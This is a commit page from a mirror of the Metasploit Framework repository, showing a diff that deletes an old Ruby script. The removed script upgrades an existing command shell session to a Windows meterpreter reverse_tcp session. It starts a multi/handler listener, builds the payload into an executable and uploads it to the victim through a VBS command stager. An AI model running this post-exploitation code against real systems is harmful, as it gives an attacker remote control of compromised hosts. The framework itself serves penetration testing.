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https://github.com/rapid7/metasploit-framework
synced 2024-09-04 20:18:27 +02:00
delete the old script
This commit is contained in:
Tim Wright
parent
b8c3fadb9e
commit
6d04c46897
@ -1,177 +0,0 @@
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#
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# Spawn a meterpreter session using an existing command shell session
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#
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# NOTE: Some of the following code is duplicated from the VBS CmdStager
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#
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# This is really only to prove the concept for now.
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#
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# -jduck
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#
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#
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# Show the progress of the upload
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#
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def progress(total, sent)
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done = (sent.to_f / total.to_f) * 100
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print_status("Command Stager progress - %3.2f%% done (%d/%d bytes)" % [done.to_f, sent, total])
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end
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#
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# Returns if a port is used by a session
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#
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def is_port_used?(port)
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framework.sessions.each do |sid, obj|
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local_info = obj.instance_variable_get(:@local_info)
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return true if local_info =~ /:#{port}$/
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end
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false
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end
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#
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# Mimics what MSF alreayd does if the user doesn't manually select a payload and lhost
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#
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lhost = framework.datastore['LHOST']
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unless lhost
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lhost = Rex::Socket.source_address
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end
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#
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# If there is no LPORT defined in framework, then pick a random one that's not used
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# by current sessions. This is possible if the user assumes module datastore options
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# are the same as framework datastore options.
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#
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lport = framework.datastore['LPORT']
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unless lport
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lport = 4444 # Default meterpreter port
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while is_port_used?(lport)
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# Pick a port that's not used
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lport = [*49152..65535].sample
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end
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end
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# maybe we want our sessions going to another instance?
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use_handler = true
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use_handler = nil if (session.exploit_datastore['DisablePayloadHandler'] == true)
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# Process special var/val pairs...
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# XXX: Not supported yet...
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#Msf::Ui::Common.process_cli_arguments($framework, ARGV)
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# Create the payload instance
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payload_name = 'windows/meterpreter/reverse_tcp'
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payload = framework.payloads.create(payload_name)
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options = "LHOST=#{lhost} LPORT=#{lport}"
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buf = payload.generate_simple('OptionStr' => options)
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#
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# Spawn the handler if needed
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#
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aborted = false
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begin
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mh = nil
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if (use_handler)
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mh = framework.modules.create("exploit/multi/handler")
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mh.datastore['LPORT'] = lport
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mh.datastore['LHOST'] = lhost
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mh.datastore['PAYLOAD'] = payload_name
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mh.datastore['ExitOnSession'] = false
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mh.datastore['EXITFUNC'] = 'process'
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mh.exploit_simple(
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'LocalInput' => session.user_input,
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'LocalOutput' => session.user_output,
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'Payload' => payload_name,
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'RunAsJob' => true)
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# It takes a little time for the resources to get set up, so sleep for
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# a bit to make sure the exploit is fully working. Without this,
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# mod.get_resource doesn't exist when we need it.
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select(nil, nil, nil, 0.5)
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if framework.jobs[mh.job_id.to_s].nil?
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raise RuntimeError, "Failed to start multi/handler - is it already running?"
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end
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end
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#
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# Make the payload into an exe for the CmdStager
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#
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lplat = [Msf::Platform::Windows]
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larch = [ARCH_X86]
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linemax = 1700
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if (session.exploit_datastore['LineMax'])
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linemax = session.exploit_datastore['LineMax'].to_i
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end
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opts = {
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:linemax => linemax,
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:decoder => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64"),
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#:nodelete => true # keep temp files (for debugging)
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}
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exe = Msf::Util::EXE.to_executable(framework, larch, lplat, buf)
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#
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# Generate the stager command array
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#
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cmdstager = Rex::Exploitation::CmdStagerVBS.new(exe)
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cmds = cmdstager.generate(opts)
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if (cmds.nil? or cmds.length < 1)
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print_error("The command stager could not be generated")
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raise ArgumentError
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end
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#
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# Calculate the total size
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#
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total_bytes = 0
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cmds.each { |cmd| total_bytes += cmd.length }
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#
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# Run the commands one at a time
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#
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sent = 0
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cmds.each { |cmd|
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ret = session.shell_command_token_win32(cmd)
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if (not ret)
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aborted = true
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else
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ret.strip!
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if (not ret.empty?)
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aborted = true
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end
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end
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if aborted
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print_error("Error: Unable to execute the following command:")
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print_error(cmd.inspect)
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print_error('Output: ' + ret.inspect) if ret and not ret.empty?
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break
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end
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sent += cmd.length
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progress(total_bytes, sent)
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}
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rescue ::Interrupt
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# TODO: cleanup partial uploads!
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aborted = true
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rescue => e
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print_error("Error: #{e}")
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aborted = true
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end
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#
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# Stop the job
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#
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if (use_handler)
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Thread.new do
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if not aborted
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# Wait up to 10 seconds for the session to come in..
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select(nil, nil, nil, 10)
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end
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framework.jobs.stop_job(mh.job_id)
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end
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end
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